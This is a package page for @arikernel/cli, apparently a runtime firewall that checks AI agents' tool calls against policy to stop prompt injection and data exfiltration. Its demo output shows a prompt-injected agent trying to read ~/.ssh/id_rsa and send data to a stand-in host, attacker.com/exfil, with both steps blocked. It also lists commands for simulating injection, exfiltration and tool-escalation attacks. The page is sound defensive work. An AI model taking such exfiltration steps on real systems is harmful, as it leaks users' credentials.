JSPM

@arikernel/cli

0.1.2
  • ESM via JSPM
  • ES Module Entrypoint
  • Export Map
  • Keywords
  • License
  • Repository URL
  • TypeScript Types
  • README
  • Created
  • Published
  • Downloads 26
  • Score
    100M100P100Q68401F
  • License SEE LICENSE IN LICENSE.md

Runtime security layer for AI agents. Enforces policy on tool calls to block prompt injection and unsafe actions.

Package Exports

    This package does not declare an exports field, so the exports above have been automatically detected and optimized by JSPM instead. If any package subpath is missing, it is recommended to post an issue to the original package (@arikernel/cli) to support the "exports" field. If that is not possible, create a JSPM override to customize the exports field for this package.

    Readme

    Ari Kernel CLI

    Runtime security layer for AI agents — enforces policy on every tool call to block prompt injection, data exfiltration, and unsafe actions.

    npm install -g @arikernel/cli
    arikernel simulate prompt-injection
      ALLOWED  web_request(https://example.com)
      BLOCKED  read_file(~/.ssh/id_rsa)
               Behavioral rule triggered. Run quarantined.
      BLOCKED  http_post(https://attacker.com/exfil)
               Run in restricted mode. Egress denied.

    GitHub — if this is useful, consider giving it a star.

    Install

    npm install -g @arikernel/cli

    Then run the full forensic demo:

    arikernel simulate prompt-injection
    arikernel trace --latest
    arikernel replay --latest --step

    npx (no install)

    npx @arikernel/cli --help
    npx @arikernel/cli init

    Local dev

    git clone https://github.com/petermanrique101-sys/AriKernel.git
    cd AriKernel
    pnpm install
    pnpm build
    pnpm ari --help

    Commands

    Command Description
    arikernel simulate [type] Run attack simulations (prompt-injection, data-exfiltration, tool-escalation)
    arikernel trace [runId] Display security execution trace from audit log
    arikernel replay [runId] Replay a recorded session step by step
    arikernel replay-trace <file> Replay a JSON trace file through a fresh kernel
    arikernel sidecar Start sidecar proxy (default port 8787)
    arikernel run Start the firewall in run mode
    arikernel policy <file> Validate a policy YAML file
    arikernel init Generate a starter arikernel.policy.yaml

    All forensic commands default to ./arikernel-audit.db. Override with --db <path>.

    Sidecar options

    arikernel sidecar --policy ./arikernel.policy.yaml --port 8787 --audit-log ./sidecar-audit.db

    Replay-trace options

    arikernel replay-trace ./trace.json --verbose
    arikernel replay-trace ./trace.json --preset workspace-assistant  # what-if analysis
    arikernel replay-trace ./trace.json --json                        # machine-readable output

    Tip: If --latest picks a stale run, delete arikernel-audit.db and re-simulate.

    Requirements

    • Node.js >= 20

    npm package

    The package is published as @arikernel/cli. The bin field ensures the command is arikernel:

    npm install -g @arikernel/cli
    arikernel --help

    Publish checklist

    Pre-publish verification

    npm whoami
    npm access ls-packages

    Build and test

    pnpm build
    pnpm test

    Publish packages in dependency order

    pnpm --filter @arikernel/core publish --no-git-checks
    pnpm --filter @arikernel/taint-tracker publish --no-git-checks
    pnpm --filter @arikernel/policy-engine publish --no-git-checks
    pnpm --filter @arikernel/tool-executors publish --no-git-checks
    pnpm --filter @arikernel/audit-log publish --no-git-checks
    pnpm --filter @arikernel/runtime publish --no-git-checks
    pnpm --filter @arikernel/attack-sim publish --no-git-checks
    pnpm --filter @arikernel/adapters publish --no-git-checks
    pnpm --filter @arikernel/mcp-adapter publish --no-git-checks
    pnpm --filter @arikernel/sidecar publish --no-git-checks
    pnpm --filter @arikernel/cli publish --no-git-checks

    --no-git-checks is needed because pnpm replaces workspace:* with real versions at publish time regardless of git state. Remove it once you have a proper release workflow with changeset or similar.

    Post-publish verification

    npm view @arikernel/cli version license description
    npm install -g @arikernel/cli
    arikernel --help

    Deprecate old unscoped package

    npm deprecate arikernel@"*" "Package renamed to @arikernel/cli. Please install @arikernel/cli instead."
    npm view arikernel version license

    License

    See LICENSE.md for usage terms.